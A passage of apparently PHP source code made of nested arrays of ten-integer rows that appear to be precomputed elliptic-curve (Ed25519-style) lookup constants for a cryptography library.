                array(24687205, 8613276, -30667046, -3233545, 1863892, -1830544, 19206234, 7134917, -11284482, -828919),
            ),
            array(
                array(11334899, -9218022, 8025293, 12707519, 17523892, -10476071, 10243738, -14685461, -5066034, 16498837),
                array(8911542, 6887158, -9584260, -6958590, 11145641, -9543680, 17303925, -14124238, 6536641, 10543906),
                array(-28946384, 15479763, -17466835, 568876, -1497683, 11223454, -2669190, -16625574, -27235709, 8876771),
            ),
            array(
                array(-25742899, -12566864, -15649966, -846607, -33026686, -796288, -33481822, 15824474, -604426, -9039817),
                array(10330056, 70051, 7957388, -9002667, 9764902, 15609756, 27698697, -4890037, 1657394, 3084098),
                array(10477963, -7470260, 12119566, -13250805, 29016247, -5365589, 31280319, 14396151, -30233575, 15272409),
            ),
            array(
                array(-12288309, 3169463, 28813183, 16658753, 25116432, -5630466, -25173957, -12636138, -25014757, 1950504),
                array(-26180358, 9489187, 11053416, -14746161, -31053720, 5825630, -8384306, -8767532, 15341279, 8373727),
                array(28685821, 7759505, -14378516, -12002860, -31971820, 4079242, 298136, -10232602, -2878207, 15190420),
            ),
            array(
                array(-32932876, 13806336, -14337485, -15794431, -24004620, 10940928, 8669718, 2742393, -26033313, -6875003),
                array(-1580388, -11729417, -25979658, -11445023, -17411874, -10912854, 9291594, -16247779, -12154742, 6048605),
                array(-30305315, 14843444, 1539301, 11864366, 20201677, 1900163, 13934231, 5128323, 11213262, 9168384),
            ),
            array(
                array(-26280513, 11007847, 19408960, -940758, -18592965, -4328580, -5088060, -11105150, 20470157, -16398701),
                array(-23136053, 9282192, 14855179, -15390078, -7362815, -14408560, -22783952, 14461608, 14042978, 5230683),
                array(29969567, -2741594, -16711867, -8552442, 9175486, -2468974, 21556951, 3506042, -5933891, -12449708),
            ),
            array(
                array(-3144746, 8744661, 19704003, 4581278, -20430686, 6830683, -21284170, 8971513, -28539189, 15326563),
                array(-19464629, 10110288, -17262528, -3503892, -23500387, 1355669, -15523050, 15300988, -20514118, 9168260),
                array(-5353335, 4488613, -23803248, 16314347, 7780487, -15638939, -28948358, 9601605, 33087103, -9011387),
            ),
            array(
                array(-19443170, -15512900, -20797467, -12445323, -29824447, 10229461, -27444329, -15000531, -5996870, 15664672),
                array(23294591, -16632613, -22650781, -8470978, 27844204, 11461195, 13099750, -2460356, 18151676, 13417686),
                array(-24722913, -4176517, -31150679, 5988919, -26858785, 6685065, 1661597, -12551441, 15271676, -15452665),
            ),
        ),
        array(
            array(
                array(11433042, -13228665, 8239631, -5279517, -1985436, -725718, -18698764, 2167544, -6921301, -13440182),
                array(-31436171, 15575146, 30436815, 12192228, -22463353, 9395379, -9917708, -8638997, 12215110, 12028277),
                array(14098400, 6555944, 23007258, 5757252, -15427832, -12950502, 30123440, 4617780, -16900089, -655628),
            ),
            array(
                array(-4026201, -15240835, 11893168, 13718664, -14809462, 1847385, -15819999, 10154009, 23973261, -12684474),
                array(-26531820, -3695990, -1908898, 2534301, -31870557, -16550355, 18341390, -11419951, 32013174, -10103539),
                array(-25479301, 10876443, -11771086, -14625140, -12369567, 1838104, 21911214, 6354752, 4425632, -837822),
            ),
            array(
                array(-10433389, -14612966, 22229858, -3091047, -13191166, 776729, -17415375, -12020462, 4725005, 14044970),
                array(19268650, -7304421, 1555349, 8692754, -21474059, -9910664, 6347390, -1411784, -19522291, -16109756),
                array(-24864089, 12986008, -10898878, -5558584, -11312371, -148526, 19541418, 8180106, 9282262, 10282508),
            ),
            array(
                array(-26205082, 4428547, -8661196, -13194263, 4098402, -14165257, 15522535, 8372215, 5542595, -10702683),
                array(-10562541, 14895633, 26814552, -16673850, -17480754, -2489360, -2781891, 6993761, -18093885, 10114655),
                array(-20107055, -929418, 31422704, 10427861, -7110749, 6150669, -29091755, -11529146, 25953725, -106158),
            ),
            array(
                array(-4234397, -8039292, -9119125, 3046000, 2101609, -12607294, 19390020, 6094296, -3315279, 12831125),
                array(-15998678, 7578152, 5310217, 14408357, -33548620, -224739, 31575954, 6326196, 7381791, -2421839),
                array(-20902779, 3296811, 24736065, -16328389, 18374254, 7318640, 6295303, 8082724, -15362489, 12339664),
            ),
            array(
                array(27724736, 2291157, 6088201, -14184798, 1792727, 5857634, 13848414, 15768922, 25091167, 14856294),
                array(-18866652, 8331043, 24373479, 8541013, -701998, -9269457, 12927300, -12695493, -22182473, -9012899),
                array(-11423429, -5421590, 11632845, 3405020, 30536730, -11674039, -27260765, 13866390, 30146206, 9142070),
            ),
            array(
                array(3924129, -15307516, -13817122, -10054960, 12291820, -668366, -27702774, 9326384, -8237858, 4171294),
                array(-15921940, 16037937, 6713787, 16606682, -21612135, 2790944, 26396185, 3731949, 345228, -5462949),
                array(-21327538, 13448259, 25284571, 1143661, 20614966, -8849387, 2031539, -12391231, -16253183, -13582083),
            ),
            array(
                array(31016211, -16722429, 26371392, -14451233, -5027349, 14854137, 17477601, 3842657, 28012650, -16405420),
                array(-5075835, 9368966, -8562079, -4600902, -15249953, 6970560, -9189873, 16292057, -8867157, 3507940),
                array(29439664, 3537914, 23333589, 6997794, -17555561, -11018068, -15209202, -15051267, -9164929, 6580396),
            ),
        ),
        array(
            array(
                array(-12185861, -7679788, 16438269, 10826160, -8696817, -6235611, 17860444, -9273846, -2095802, 9304567),
                array(20714564, -4336911, 29088195, 7406487, 11426967, -5095705, 14792667, -14608617, 5289421, -477127),
                array(-16665533, -10650790, -6160345, -13305760, 9192020, -1802462, 17271490, 12349094, 26939669, -3752294),
            ),
            array(
                array(-12889898, 9373458, 31595848, 16374215, 21471720, 13221525, -27283495, -12348559, -3698806, 117887),
                array(22263325, -6560050, 3984570, -11174646, -15114008, -566785, 28311253, 5358056, -23319780, 541964),
                array(16259219, 3261970, 2309254, -15534474, -16885711, -4581916, 24134070, -16705829, -13337066, -13552195),
            ),
            array(
                array(9378160, -13140186, -22845982, -12745264, 28198281, -7244098, -2399684, -717351, 690426, 14876244),
                array(24977353, -314384, -8223969, -13465086, 28432343, -1176353, -13068804, -12297348, -22380984, 6618999),
                array(-1538174, 11685646, 12944378, 13682314, -24389511, -14413193, 8044829, -13817328, 32239829, -5652762),
            ),
            array(
                array(-18603066, 4762990, -926250, 8885304, -28412480, -3187315, 9781647, -10350059, 32779359, 5095274),
                array(-33008130, -5214506, -32264887, -3685216, 9460461, -9327423, -24601656, 14506724, 21639561, -2630236),
                array(-16400943, -13112215, 25239338, 15531969, 3987758, -4499318, -1289502, -6863535, 17874574, 558605),
            ),
            array(
                array(-13600129, 10240081, 9171883, 16131053, -20869254, 9599700, 33499487, 5080151, 2085892, 5119761),
                array(-22205145, -2519528, -16381601, 414691, -25019550, 2170430, 30634760, -8363614, -31999993, -5759884),
                array(-6845704, 15791202, 8550074, -1312654, 29928809, -12092256, 27534430, -7192145, -22351378, 12961482),
            ),
            array(
                array(-24492060, -9570771, 10368194, 11582341, -23397293, -2245287, 16533930, 8206996, -30194652, -5159638),
                array(-11121496, -3382234, 2307366, 6362031, -135455, 8868177, -16835630, 7031275, 7589640, 8945490),
                array(-32152748, 8917967, 6661220, -11677616, -1192060, -15793393, 7251489, -11182180, 24099109, -14456170),
            ),
            array(
                array(5019558, -7907470, 4244127, -14714356, -26933272, 6453165, -19118182, -13289025, -6231896, -10280736),
                array(10853594, 10721687, 26480089, 5861829, -22995819, 1972175, -1866647, -10557898, -3363451, -6441124),
                array(-17002408, 5906790, 221599, -6563147, 7828208, -13248918, 24362661, -2008168, -13866408, 7421392),
            ),
            array(
                array(8139927, -6546497, 32257646, -5890546, 30375719, 1886181, -21175108, 15441252, 28826358, -4123029),
                array(6267086, 9695052, 7709135, -16603597, -32869068, -1886135, 14795160, -7840124, 13746021, -1742048),
                array(28584902, 7787108, -6732942, -15050729, 22846041, -7571236, -3181936, -363524, 4771362, -8419958),
            ),
        ),
        array(
            array(
                array(24949256, 6376279, -27466481, -8174608, -18646154, -9930606, 33543569, -12141695, 3569627, 11342593),
                array(26514989, 4740088, 27912651, 3697550, 19331575, -11472339, 6809886, 4608608, 7325975, -14801071),
                array(-11618399, -14554430, -24321212, 7655128, -1369274, 5214312, -27400540, 10258390, -17646694, -8186692),
            ),
            array(
                array(11431204, 15823007, 26570245, 14329124, 18029990, 4796082, -31446179, 15580664, 9280358, -3973687),
                array(-160783, -10326257, -22855316, -4304997, -20861367, -13621002, -32810901, -11181622, -15545091, 4387441),
                array(-20799378, 12194512, 3937617, -5805892, -27154820, 9340370, -24513992, 8548137, 20617071, -7482001),
            ),
            array(
                array(-938825, -3930586, -8714311, 16124718, 24603125, -6225393, -13775352, -11875822, 24345683, 10325460),
                array(-19855277, -1568885, -22202708, 8714034, 14007766, 6928528, 16318175, -1010689, 4766743, 3552007),
                array(-21751364, -16730916, 1351763, -803421, -4009670, 3950935, 3217514, 14481909, 10988822, -3994762),
            ),
            array(
                array(15564307, -14311570, 3101243, 5684148, 30446780, -8051356, 12677127, -6505343, -8295852, 13296005),
                array(-9442290, 6624296, -30298964, -11913677, -4670981, -2057379, 31521204, 9614054, -30000824, 12074674),
                array(4771191, -135239, 14290749, -13089852, 27992298, 14998318, -1413936, -1556716, 29832613, -16391035),
            ),
            array(
                array(7064884, -7541174, -19161962, -5067537, -18891269, -2912736, 25825242, 5293297, -27122660, 13101590),
                array(-2298563, 2439670, -7466610, 1719965, -27267541, -16328445, 32512469, -5317593, -30356070, -4190957),
                array(-30006540, 10162316, -33180176, 3981723, -16482138, -13070044, 14413974, 9515896, 19568978, 9628812),
            ),
            array(
                array(33053803, 199357, 15894591, 1583059, 27380243, -4580435, -17838894, -6106839, -6291786, 3437740),
                array(-18978877, 3884493, 19469877, 12726490, 15913552, 13614290, -22961733, 70104, 7463304, 4176122),
                array(-27124001, 10659917, 11482427, -16070381, 12771467, -6635117, -32719404, -5322751, 24216882, 5944158),
            ),
            array(
                array(8894125, 7450974, -2664149, -9765752, -28080517, -12389115, 19345746, 14680796, 11632993, 5847885),
                array(26942781, -2315317, 9129564, -4906607, 26024105, 11769399, -11518837, 6367194, -9727230, 4782140),
                array(19916461, -4828410, -22910704, -11414391, 25606324, -5972441, 33253853, 8220911, 6358847, -1873857),
            ),
            array(
                array(801428, -2081702, 16569428, 11065167, 29875704, 96627, 7908388, -4480480, -13538503, 1387155),
                array(19646058, 5720633, -11416706, 12814209, 11607948, 12749789, 14147075, 15156355, -21866831, 11835260),
                array(19299512, 1155910, 28703737, 14890794, 2925026, 7269399, 26121523, 15467869, -26560550, 5052483),
            ),
        ),
        array(
            array(
                array(-3017432, 10058206, 1980837, 3964243, 22160966, 12322533, -6431123, -12618185, 12228557, -7003677),
                array(32944382, 14922211, -22844894, 5188528, 21913450, -8719943, 4001465, 13238564, -6114803, 8653815),
                array(22865569, -4652735, 27603668, -12545395, 14348958, 8234005, 24808405, 5719875, 28483275, 2841751),
            ),
            array(
                array(-16420968, -1113305, -327719, -12107856, 21886282, -15552774, -1887966, -315658, 19932058, -12739203),
                array(-11656086, 10087521, -8864888, -5536143, -19278573, -3055912, 3999228, 13239134, -4777469, -13910208),
                array(1382174, -11694719, 17266790, 9194690, -13324356, 9720081, 20403944, 11284705, -14013818, 3093230),
            ),
            array(
                array(16650921, -11037932, -1064178, 1570629, -8329746, 7352753, -302424, 16271225, -24049421, -6691850),
                array(-21911077, -5927941, -4611316, -5560156, -31744103, -10785293, 24123614, 15193618, -21652117, -16739389),
                array(-9935934, -4289447, -25279823, 4372842, 2087473, 10399484, 31870908, 14690798, 17361620, 11864968),
            ),
            array(
                array(-11307610, 6210372, 13206574, 5806320, -29017692, -13967200, -12331205, -7486601, -25578460, -16240689),
                array(14668462, -12270235, 26039039, 15305210, 25515617, 4542480, 10453892, 6577524, 9145645, -6443880),
                array(5974874, 3053895, -9433049, -10385191, -31865124, 3225009, -7972642, 3936128, -5652273, -3050304),
            ),
            array(
                array(30625386, -4729400, -25555961, -12792866, -20484575, 7695099, 17097188, -16303496, -27999779, 1803632),
                array(-3553091, 9865099, -5228566, 4272701, -5673832, -16689700, 14911344, 12196514, -21405489, 7047412),
                array(20093277, 9920966, -11138194, -5343857, 13161587, 12044805, -32856851, 4124601, -32343828, -10257566),
            ),
            array(
                array(-20788824, 14084654, -13531713, 7842147, 19119038, -13822605, 4752377, -8714640, -21679658, 2288038),
                array(-26819236, -3283715, 29965059, 3039786, -14473765, 2540457, 29457502, 14625692, -24819617, 12570232),
                array(-1063558, -11551823, 16920318, 12494842, 1278292, -5869109, -21159943, -3498680, -11974704, 4724943),
            ),
            array(
                array(17960970, -11775534, -4140968, -9702530, -8876562, -1410617, -12907383, -8659932, -29576300, 1903856),
                array(23134274, -14279132, -10681997, -1611936, 20684485, 15770816, -12989750, 3190296, 26955097, 14109738),
                array(15308788, 5320727, -30113809, -14318877, 22902008, 7767164, 29425325, -11277562, 31960942, 11934971),
            ),
            array(
                array(-27395711, 8435796, 4109644, 12222639, -24627868, 14818669, 20638173, 4875028, 10491392, 1379718),
                array(-13159415, 9197841, 3875503, -8936108, -1383712, -5879801, 33518459, 16176658, 21432314, 12180697),
                array(-11787308, 11500838, 13787581, -13832590, -22430679, 10140205, 1465425, 12689540, -10301319, -13872883),
            ),
        ),
        array(
            array(
                array(5414091, -15386041, -21007664, 9643570, 12834970, 1186149, -2622916, -1342231, 26128231, 6032912),
                array(-26337395, -13766162, 32496025, -13653919, 17847801, -12669156, 3604025, 8316894, -25875034, -10437358),
                array(3296484, 6223048, 24680646, -12246460, -23052020, 5903205, -8862297, -4639164, 12376617, 3188849),
            ),
            array(
                array(29190488, -14659046, 27549113, -1183516, 3520066, -10697301, 32049515, -7309113, -16109234, -9852307),
                array(-14744486, -9309156, 735818, -598978, -20407687, -5057904, 25246078, -15795669, 18640741, -960977),
                array(-6928835, -16430795, 10361374, 5642961, 4910474, 12345252, -31638386, -494430, 10530747, 1053335),
            ),
            array(
                array(-29265967, -14186805, -13538216, -12117373, -19457059, -10655384, -31462369, -2948985, 24018831, 15026644),
                array(-22592535, -3145277, -2289276, 5953843, -13440189, 9425631, 25310643, 13003497, -2314791, -15145616),
                array(-27419985, -603321, -8043984, -1669117, -26092265, 13987819, -27297622, 187899, -23166419, -2531735),
            ),
            array(
                array(-21744398, -13810475, 1844840, 5021428, -10434399, -15911473, 9716667, 16266922, -5070217, 726099),
                array(29370922, -6053998, 7334071, -15342259, 9385287, 2247707, -13661962, -4839461, 30007388, -15823341),
                array(-936379, 16086691, 23751945, -543318, -1167538, -5189036, 9137109, 730663, 9835848, 4555336),
            ),
            array(
                array(-23376435, 1410446, -22253753, -12899614, 30867635, 15826977, 17693930, 544696, -11985298, 12422646),
                array(31117226, -12215734, -13502838, 6561947, -9876867, -12757670, -5118685, -4096706, 29120153, 13924425),
                array(-17400879, -14233209, 19675799, -2734756, -11006962, -5858820, -9383939, -11317700, 7240931, -237388),
            ),
            array(
                array(-31361739, -11346780, -15007447, -5856218, -22453340, -12152771, 1222336, 4389483, 3293637, -15551743),
                array(-16684801, -14444245, 11038544, 11054958, -13801175, -3338533, -24319580, 7733547, 12796905, -6335822),
                array(-8759414, -10817836, -25418864, 10783769, -30615557, -9746811, -28253339, 3647836, 3222231, -11160462),
            ),
            array(
                array(18606113, 1693100, -25448386, -15170272, 4112353, 10045021, 23603893, -2048234, -7550776, 2484985),
                array(9255317, -3131197, -12156162, -1004256, 13098013, -9214866, 16377220, -2102812, -19802075, -3034702),
                array(-22729289, 7496160, -5742199, 11329249, 19991973, -3347502, -31718148, 9936966, -30097688, -10618797),
            ),
            array(
                array(21878590, -5001297, 4338336, 13643897, -3036865, 13160960, 19708896, 5415497, -7360503, -4109293),
                array(27736861, 10103576, 12500508, 8502413, -3413016, -9633558, 10436918, -1550276, -23659143, -8132100),
                array(19492550, -12104365, -29681976, -852630, -3208171, 12403437, 30066266, 8367329, 13243957, 8709688),
            ),
        ),
        array(
            array(
                array(12015105, 2801261, 28198131, 10151021, 24818120, -4743133, -11194191, -5645734, 5150968, 7274186),
                array(2831366, -12492146, 1478975, 6122054, 23825128, -12733586, 31097299, 6083058, 31021603, -9793610),
                array(-2529932, -2229646, 445613, 10720828, -13849527, -11505937, -23507731, 16354465, 15067285, -14147707),
            ),
            array(
                array(7840942, 14037873, -33364863, 15934016, -728213, -3642706, 21403988, 1057586, -19379462, -12403220),
                array(915865, -16469274, 15608285, -8789130, -24357026, 6060030, -17371319, 8410997, -7220461, 16527025),
                array(32922597, -556987, 20336074, -16184568, 10903705, -5384487, 16957574, 52992, 23834301, 6588044),
            ),
            array(
                array(32752030, 11232950, 3381995, -8714866, 22652988, -10744103, 17159699, 16689107, -20314580, -1305992),
                array(-4689649, 9166776, -25710296, -10847306, 11576752, 12733943, 7924251, -2752281, 1976123, -7249027),
                array(21251222, 16309901, -2983015, -6783122, 30810597, 12967303, 156041, -3371252, 12331345, -8237197),
            ),
            array(
                array(8651614, -4477032, -16085636, -4996994, 13002507, 2950805, 29054427, -5106970, 10008136, -4667901),
                array(31486080, 15114593, -14261250, 12951354, 14369431, -7387845, 16347321, -13662089, 8684155, -10532952),
                array(19443825, 11385320, 24468943, -9659068, -23919258, 2187569, -26263207, -6086921, 31316348, 14219878),
            ),
            array(
                array(-28594490, 1193785, 32245219, 11392485, 31092169, 15722801, 27146014, 6992409, 29126555, 9207390),
                array(32382935, 1110093, 18477781, 11028262, -27411763, -7548111, -4980517, 10843782, -7957600, -14435730),
                array(2814918, 7836403, 27519878, -7868156, -20894015, -11553689, -21494559, 8550130, 28346258, 1994730),
            ),
            array(
                array(-19578299, 8085545, -14000519, -3948622, 2785838, -16231307, -19516951, 7174894, 22628102, 8115180),
                array(-30405132, 955511, -11133838, -15078069, -32447087, -13278079, -25651578, 3317160, -9943017, 930272),
                array(-15303681, -6833769, 28856490, 1357446, 23421993, 1057177, 24091212, -1388970, -22765376, -10650715),
            ),
            array(
                array(-22751231, -5303997, -12907607, -12768866, -15811511, -7797053, -14839018, -16554220, -1867018, 8398970),
                array(-31969310, 2106403, -4736360, 1362501, 12813763, 16200670, 22981545, -6291273, 18009408, -15772772),
                array(-17220923, -9545221, -27784654, 14166835, 29815394, 7444469, 29551787, -3727419, 19288549, 1325865),
            ),
            array(
                array(15100157, -15835752, -23923978, -1005098, -26450192, 15509408, 12376730, -3479146, 33166107, -8042750),
                array(20909231, 13023121, -9209752, 16251778, -5778415, -8094914, 12412151, 10018715, 2213263, -13878373),
                array(32529814, -11074689, 30361439, -16689753, -9135940, 1513226, 22922121, 6382134, -5766928, 8371348),
            ),
        ),
        array(
            array(
                array(9923462, 11271500, 12616794, 3544722, -29998368, -1721626, 12891687, -8193132, -26442943, 10486144),
                array(-22597207, -7012665, 8587003, -8257861, 4084309, -12970062, 361726, 2610596, -23921530, -11455195),
                array(5408411, -1136691, -4969122, 10561668, 24145918, 14240566, 31319731, -4235541, 19985175, -3436086),
            ),
            array(
                array(-13994457, 16616821, 14549246, 3341099, 32155958, 13648976, -17577068, 8849297, 65030, 8370684),
                array(-8320926, -12049626, 31204563, 5839400, -20627288, -1057277, -19442942, 6922164, 12743482, -9800518),
                array(-2361371, 12678785, 28815050, 4759974, -23893047, 4884717, 23783145, 11038569, 18800704, 255233),
            ),
            array(
                array(-5269658, -1773886, 13957886, 7990715, 23132995, 728773, 13393847, 9066957, 19258688, -14753793),
                array(-2936654, -10827535, -10432089, 14516793, -3640786, 4372541, -31934921, 2209390, -1524053, 2055794),
                array(580882, 16705327, 5468415, -2683018, -30926419, -14696000, -7203346, -8994389, -30021019, 7394435),
            ),
            array(
                array(23838809, 1822728, -15738443, 15242727, 8318092, -3733104, -21672180, -3492205, -4821741, 14799921),
                array(13345610, 9759151, 3371034, -16137791, 16353039, 8577942, 31129804, 13496856, -9056018, 7402518),
                array(2286874, -4435931, -20042458, -2008336, -13696227, 5038122, 11006906, -15760352, 8205061, 1607563),
            ),
            array(
                array(14414086, -8002132, 3331830, -3208217, 22249151, -5594188, 18364661, -2906958, 30019587, -9029278),
                array(-27688051, 1585953, -10775053, 931069, -29120221, -11002319, -14410829, 12029093, 9944378, 8024),
                array(4368715, -3709630, 29874200, -15022983, -20230386, -11410704, -16114594, -999085, -8142388, 5640030),
            ),
            array(
                array(10299610, 13746483, 11661824, 16234854, 7630238, 5998374, 9809887, -16694564, 15219798, -14327783),
                array(27425505, -5719081, 3055006, 10660664, 23458024, 595578, -15398605, -1173195, -18342183, 9742717),
                array(6744077, 2427284, 26042789, 2720740, -847906, 1118974, 32324614, 7406442, 12420155, 1994844),
            ),
            array(
                array(14012521, -5024720, -18384453, -9578469, -26485342, -3936439, -13033478, -10909803, 24319929, -6446333),
                array(16412690, -4507367, 10772641, 15929391, -17068788, -4658621, 10555945, -10484049, -30102368, -4739048),
                array(22397382, -7767684, -9293161, -12792868, 17166287, -9755136, -27333065, 6199366, 21880021, -12250760),
            ),
            array(
                array(-4283307, 5368523, -31117018, 8163389, -30323063, 3209128, 16557151, 8890729, 8840445, 4957760),
                array(-15447727, 709327, -6919446, -10870178, -29777922, 6522332, -21720181, 12130072, -14796503, 5005757),
                array(-2114751, -14308128, 23019042, 15765735, -25269683, 6002752, 10183197, -13239326, -16395286, -2176112),
            ),
        ),
        array(
            array(
                array(-19025756, 1632005, 13466291, -7995100, -23640451, 16573537, -32013908, -3057104, 22208662, 2000468),
                array(3065073, -1412761, -25598674, -361432, -17683065, -5703415, -8164212, 11248527, -3691214, -7414184),
                array(10379208, -6045554, 8877319, 1473647, -29291284, -12507580, 16690915, 2553332, -3132688, 16400289),
            ),
            array(
                array(15716668, 1254266, -18472690, 7446274, -8448918, 6344164, -22097271, -7285580, 26894937, 9132066),
                array(24158887, 12938817, 11085297, -8177598, -28063478, -4457083, -30576463, 64452, -6817084, -2692882),
                array(13488534, 7794716, 22236231, 5989356, 25426474, -12578208, 2350710, -3418511, -4688006, 2364226),
            ),
            array(
                array(16335052, 9132434, 25640582, 6678888, 1725628, 8517937, -11807024, -11697457, 15445875, -7798101),
                array(29004207, -7867081, 28661402, -640412, -12794003, -7943086, 31863255, -4135540, -278050, -15759279),
                array(-6122061, -14866665, -28614905, 14569919, -10857999, -3591829, 10343412, -6976290, -29828287, -10815811),
            ),
            array(
                array(27081650, 3463984, 14099042, -4517604, 1616303, -6205604, 29542636, 15372179, 17293797, 960709),
                array(20263915, 11434237, -5765435, 11236810, 13505955, -10857102, -16111345, 6493122, -19384511, 7639714),
                array(-2830798, -14839232, 25403038, -8215196, -8317012, -16173699, 18006287, -16043750, 29994677, -15808121),
            ),
            array(
                array(9769828, 5202651, -24157398, -13631392, -28051003, -11561624, -24613141, -13860782, -31184575, 709464),
                array(12286395, 13076066, -21775189, -1176622, -25003198, 4057652, -32018128, -8890874, 16102007, 13205847),
                array(13733362, 5599946, 10557076, 3195751, -5557991, 8536970, -25540170, 8525972, 10151379, 10394400),
            ),
            array(
                array(4024660, -16137551, 22436262, 12276534, -9099015, -2686099, 19698229, 11743039, -33302334, 8934414),
                array(-15879800, -4525240, -8580747, -2934061, 14634845, -698278, -9449077, 3137094, -11536886, 11721158),
                array(17555939, -5013938, 8268606, 2331751, -22738815, 9761013, 9319229, 8835153, -9205489, -1280045),
            ),
            array(
                array(-461409, -7830014, 20614118, 16688288, -7514766, -4807119, 22300304, 505429, 6108462, -6183415),
                array(-5070281, 12367917, -30663534, 3234473, 32617080, -8422642, 29880583, -13483331, -26898490, -7867459),
                array(-31975283, 5726539, 26934134, 10237677, -3173717, -605053, 24199304, 3795095, 7592688, -14992079),
            ),
            array(
                array(21594432, -14964228, 17466408, -4077222, 32537084, 2739898, 6407723, 12018833, -28256052, 4298412),
                array(-20650503, -11961496, -27236275, 570498, 3767144, -1717540, 13891942, -1569194, 13717174, 10805743),
                array(-14676630, -15644296, 15287174, 11927123, 24177847, -8175568, -796431, 14860609, -26938930, -5863836),
            ),
        ),
        array(
            array(
                array(12962541, 5311799, -10060768, 11658280, 18855286, -7954201, 13286263, -12808704, -4381056, 9882022),
                array(18512079, 11319350, -20123124, 15090309, 18818594, 5271736, -22727904, 3666879, -23967430, -3299429),
                array(-6789020, -3146043, 16192429, 13241070, 15898607, -14206114, -10084880, -6661110, -2403099, 5276065),
            ),
            array(
                array(30169808, -5317648, 26306206, -11750859, 27814964, 7069267, 7152851, 3684982, 1449224, 13082861),
                array(10342826, 3098505, 2119311, 193222, 25702612, 12233820, 23697382, 15056736, -21016438, -8202000),
                array(-33150110, 3261608, 22745853, 7948688, 19370557, -15177665, -26171976, 6482814, -10300080, -11060101),
            ),
            array(
                array(32869458, -5408545, 25609743, 15678670, -10687769, -15471071, 26112421, 2521008, -22664288, 6904815),
                array(29506923, 4457497, 3377935, -9796444, -30510046, 12935080, 1561737, 3841096, -29003639, -6657642),
                array(10340844, -6630377, -18656632, -2278430, 12621151, -13339055, 30878497, -11824370, -25584551, 5181966),
            ),
            array(
                array(25940115, -12658025, 17324188, -10307374, -8671468, 15029094, 24396252, -16450922, -2322852, -12388574),
                array(-21765684, 9916823, -1300409, 4079498, -1028346, 11909559, 1782390, 12641087, 20603771, -6561742),
                array(-18882287, -11673380, 24849422, 11501709, 13161720, -4768874, 1925523, 11914390, 4662781, 7820689),
            ),
            array(
                array(12241050, -425982, 8132691, 9393934, 32846760, -1599620, 29749456, 12172924, 16136752, 15264020),
                array(-10349955, -14680563, -8211979, 2330220, -17662549, -14545780, 10658213, 6671822, 19012087, 3772772),
                array(3753511, -3421066, 10617074, 2028709, 14841030, -6721664, 28718732, -15762884, 20527771, 12988982),
            ),
            array(
                array(-14822485, -5797269, -3707987, 12689773, -898983, -10914866, -24183046, -10564943, 3299665, -12424953),
                array(-16777703, -15253301, -9642417, 4978983, 3308785, 8755439, 6943197, 6461331, -25583147, 8991218),
                array(-17226263, 1816362, -1673288, -6086439, 31783888, -8175991, -32948145, 7417950, -30242287, 1507265),
            ),
            array(
                array(29692663, 6829891, -10498800, 4334896, 20945975, -11906496, -28887608, 8209391, 14606362, -10647073),
                array(-3481570, 8707081, 32188102, 5672294, 22096700, 1711240, -33020695, 9761487, 4170404, -2085325),
                array(-11587470, 14855945, -4127778, -1531857, -26649089, 15084046, 22186522, 16002000, -14276837, -8400798),
            ),
            array(
                array(-4811456, 13761029, -31703877, -2483919, -3312471, 7869047, -7113572, -9620092, 13240845, 10965870),
                array(-7742563, -8256762, -14768334, -13656260, -23232383, 12387166, 4498947, 14147411, 29514390, 4302863),
                array(-13413405, -12407859, 20757302, -13801832, 14785143, 8976368, -5061276, -2144373, 17846988, -13971927),
            ),
        ),
        array(
            array(
                array(-2244452, -754728, -4597030, -1066309, -6247172, 1455299, -21647728, -9214789, -5222701, 12650267),
                array(-9906797, -16070310, 21134160, 12198166, -27064575, 708126, 387813, 13770293, -19134326, 10958663),
                array(22470984, 12369526, 23446014, -5441109, -21520802, -9698723, -11772496, -11574455, -25083830, 4271862),
            ),
            array(
                array(-25169565, -10053642, -19909332, 15361595, -5984358, 2159192, 75375, -4278529, -32526221, 8469673),
                array(15854970, 4148314, -8893890, 7259002, 11666551, 13824734, -30531198, 2697372, 24154791, -9460943),
                array(15446137, -15806644, 29759747, 14019369, 30811221, -9610191, -31582008, 12840104, 24913809, 9815020),
            ),
            array(
                array(-4709286, -5614269, -31841498, -12288893, -14443537, 10799414, -9103676, 13438769, 18735128, 9466238),
                array(11933045, 9281483, 5081055, -5183824, -2628162, -4905629, -7727821, -10896103, -22728655, 16199064),
                array(14576810, 379472, -26786533, -8317236, -29426508, -10812974, -102766, 1876699, 30801119, 2164795),
            ),
            array(
                array(15995086, 3199873, 13672555, 13712240, -19378835, -4647646, -13081610, -15496269, -13492807, 1268052),
                array(-10290614, -3659039, -3286592, 10948818, 23037027, 3794475, -3470338, -12600221, -17055369, 3565904),
                array(29210088, -9419337, -5919792, -4952785, 10834811, -13327726, -16512102, -10820713, -27162222, -14030531),
            ),
            array(
                array(-13161890, 15508588, 16663704, -8156150, -28349942, 9019123, -29183421, -3769423, 2244111, -14001979),
                array(-5152875, -3800936, -9306475, -6071583, 16243069, 14684434, -25673088, -16180800, 13491506, 4641841),
                array(10813417, 643330, -19188515, -728916, 30292062, -16600078, 27548447, -7721242, 14476989, -12767431),
            ),
            array(
                array(10292079, 9984945, 6481436, 8279905, -7251514, 7032743, 27282937, -1644259, -27912810, 12651324),
                array(-31185513, -813383, 22271204, 11835308, 10201545, 15351028, 17099662, 3988035, 21721536, -3148940),
                array(10202177, -6545839, -31373232, -9574638, -32150642, -8119683, -12906320, 3852694, 13216206, 14842320),
            ),
            array(
                array(-15815640, -10601066, -6538952, -7258995, -6984659, -6581778, -31500847, 13765824, -27434397, 9900184),
                array(14465505, -13833331, -32133984, -14738873, -27443187, 12990492, 33046193, 15796406, -7051866, -8040114),
                array(30924417, -8279620, 6359016, -12816335, 16508377, 9071735, -25488601, 15413635, 9524356, -7018878),
            ),
            array(
                array(12274201, -13175547, 32627641, -1785326, 6736625, 13267305, 5237659, -5109483, 15663516, 4035784),
                array(-2951309, 8903985, 17349946, 601635, -16432815, -4612556, -13732739, -15889334, -22258478, 4659091),
                array(-16916263, -4952973, -30393711, -15158821, 20774812, 15897498, 5736189, 15026997, -2178256, -13455585),
            ),
        ),
        array(
            array(
                array(-8858980, -2219056, 28571666, -10155518, -474467, -10105698, -3801496, 278095, 23440562, -290208),
                array(10226241, -5928702, 15139956, 120818, -14867693, 5218603, 32937275, 11551483, -16571960, -7442864),
                array(17932739, -12437276, -24039557, 10749060, 11316803, 7535897, 22503767, 5561594, -3646624, 3898661),
            ),
            array(
                array(7749907, -969567, -16339731, -16464, -25018111, 15122143, -1573531, 7152530, 21831162, 1245233),
                array(26958459, -14658026, 4314586, 8346991, -5677764, 11960072, -32589295, -620035, -30402091, -16716212),
